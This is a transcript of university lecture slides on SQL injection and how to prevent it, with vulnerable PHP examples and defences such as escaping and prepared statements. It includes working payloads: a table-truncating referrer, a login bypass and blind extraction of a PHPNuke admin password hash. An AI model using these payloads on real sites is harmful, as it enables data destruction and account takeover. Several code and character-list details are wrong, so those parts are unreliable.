Transcript SQL Injection Overview

Check That Input
Preventing SQL Injection Attacks
By Andrew Morton
For CS 410
SQL Syntax Review

Basic select query:
SELECT * FROM user WHERE id = 1
AND pass = 'notsecure'

Literal strings are delimited with single
quotes.
Numeric literals aren’t delimited.

SQL Syntax Review

Some databases allow semicolons to
separate multiple statements:
DELETE FROM user WHERE id = 1; INSERT
INTO user (id, pass) VALUES (1,
'secure');

For most SQL variants, the sequence -means the rest of the line should be treated
as a comment.
Conceptual Overview



Attack targets the database layer of an
application
The attacker targets places where user input
is used in SQL statements
Vulnerabilities occur when:


User input is incorrectly filtered for string literal,
escape characters
User input is not strongly typed
A Simple Example

A little bit of PHP to save a URL's referrer to the database:
<?php
$time = time();
$uri = $_SERVER['REQUEST_URI'];
$ref = $_SERVER['HTTP_REFERER'];
$query = “INSERT INTO logs (time, url, ref) VALUES
($time, '$url', ‘$url’)”;
// … execute the query
?>

When accessed by a "normal" user, this will create a query
similar to:
INSERT INTO logs (time, url, ref) VALUES (1163635156,
'/node/33/', 'http://drewish.com/node/33/')
Lets Exploit It…

The problem is that the user can provide an
arbitrary referrer:
curl -e "http://google.com';TRUNCATE log; --"
http://localhost/refer.php

Which will result in the query:
INSERT INTO log (time, url, ref) VALUES
(1163637310, '/refer.php',
'http://google.com';TRUNCATE log; --')

And the log table would be empty
Another Simple Example



We want to have a read counter for each article on
our site
The URLs look like
http://example.com/article.php?id=X where X in an
integer.
We come up with the following:
<?php
$id = $_GET['id'];
$query = "UPDATE article SET reads = reads + 1
WHERE id = $id";
// … execute the query
?>
Another Simple Exploit

Because we don't check that $id is numeric this
one's even easier. We don't even need to insert
quotes, we just add onto the end of the query.
curl
"http://localhost/refer_2.php?id=1%20OR%201=1"

Results in:
UPDATE article SET reads = reads + 1 WHERE id = 1
OR 1=1

Though, incrementing all the counters isn't that
useful…
A More Useful Exploit

Our login code:
<?php
$user = $_POST['user'];
$pass = $_POST['pass'];
$query = "SELECT uid FROM users WHERE name =
'$user' AND pass = MD5('$pass')";
// … execute the query
?>

What if we provide the username:
' OR 1—

That results in the query:
SELECT uid from users WHERE name = '' OR 1 OR '' = ''
AND pass = MD5('pass')

Which returns all rows, ignoring the password field. This would
effectively make you the first user in the table.
Securing Your Code

Validate all user supplied input:

Escape strings:




Replacing ' with '' is not enough
Use the database’s string encoding functions. PHP’s
mysql_real_escape_string() takes the server’s in
Cast data appropriately. Expected integers should
be cast to prevent strings from being inserted in
their place
Use regular expressions to help narrow down
allowed values
Securing Your Code

Suppress error messages

Though not covered here they make it easier for
attackers to gather information about your
database:
Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'
[Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the varchar value
': admin/r00tr0x! guest/guest chris/password
fred/sesame' to a column of data type int.
Securing Your Code


Use data access libraries that support prepared statements
For example PHP’s new the PDO
<?php
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name,
value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);
// insert one row
$name = 'one‘
$value = 1
$stmt->execute();
?>

Improves performance by allowing query plans to be compiled
once.
Advanced Exploit:
Select Fishing



Use an unchecked numeric input to a query
to find the admin password hash
Password is an MD5 hash 32 characters long
with 16 possible values:
0123456890abcdef0123456890abcdef
We’ll insert a sub-query to read out one
character at a time by observing the
difference in the query’s results we can
determine
Advanced Exploit:
Select Fishing

Sample PHPNuke exploit URL:
http://site/modules.php?
name=search&query=&topic=&category=&author=&days=1+or
+mid(a.pwd,1,1) =6&type=stories

Results in the query:
SELECT s.sid, s.aid, s.informant, s.title, s.time,
s.hometext, s.bodytext, a.url, s.comments, s.topic
from nuke_stories s, nuke_authors a WHERE s.aid=a.aid
AND (s.title LIKE '%%' OR s.hometext LIKE '%%' OR
s.bodytext LIKE '%%' OR s.notes LIKE '%%') AND
TO_DAYS(NOW()) - TO_DAYS (time) <= 1 or
mid(a.pwd,1,1)=6 ORDER BY s.time DESC LIMIT 0,10

If the admin’s password hash begins with a 1 we’ll get the
admin’s stories.
Advanced Exploit:
Select Fishing



So now we work our way through each of the 16 possible characters
looking for a match
Once you figure out one character move on to the next:
modules.php?name=Search&query=&topic=&category=&autho
r=&days=1+or+mid (a.pwd,1,1)=1&type=stories
...
modules.php?name=Search&query=&topic=&category=&autho
r=&days=1+or+mid (a.pwd,1,1)=9&type=stories
When you get to A-F you run into a problem: how do you avoid quotes
which would be filtered? The char() function comes to the rescue:
modules.php?name=Search&query=&topic=&category=&autho
r=&days=1+or+mid (a.pwd,1,1)=char(97)&type=stories
…
modules.php?name=Search&query=&topic=&category=&autho
r=&days=1+or+mid (a.pwd,1,1)=char(102)&type=stories
References
General

http://www.owasp.org/images/7/7d/Advanced_Topics_on_SQL_Injection_Protec
tion.ppt

http://en.wikipedia.org/wiki/Sql_injection
PHP specific

http://us3.php.net/manual/en/security.database.sql-injection.php

http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf

http://en.wikibooks.org/wiki/Programming:PHP:SQL_Injection

http://www.owasp.org/index.php/PHP_Top_5#P3:_SQL_Injection
MS SQL Specific

http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf

http://www.ngssoftware.com/papers/advanced_sql_injection.pdf
Blind Fishing

http://www.avet.com.pl/pipermail/bugdev/2003-February/002311.html

http://www.securityfocus.com/archive/1/312627/30/0/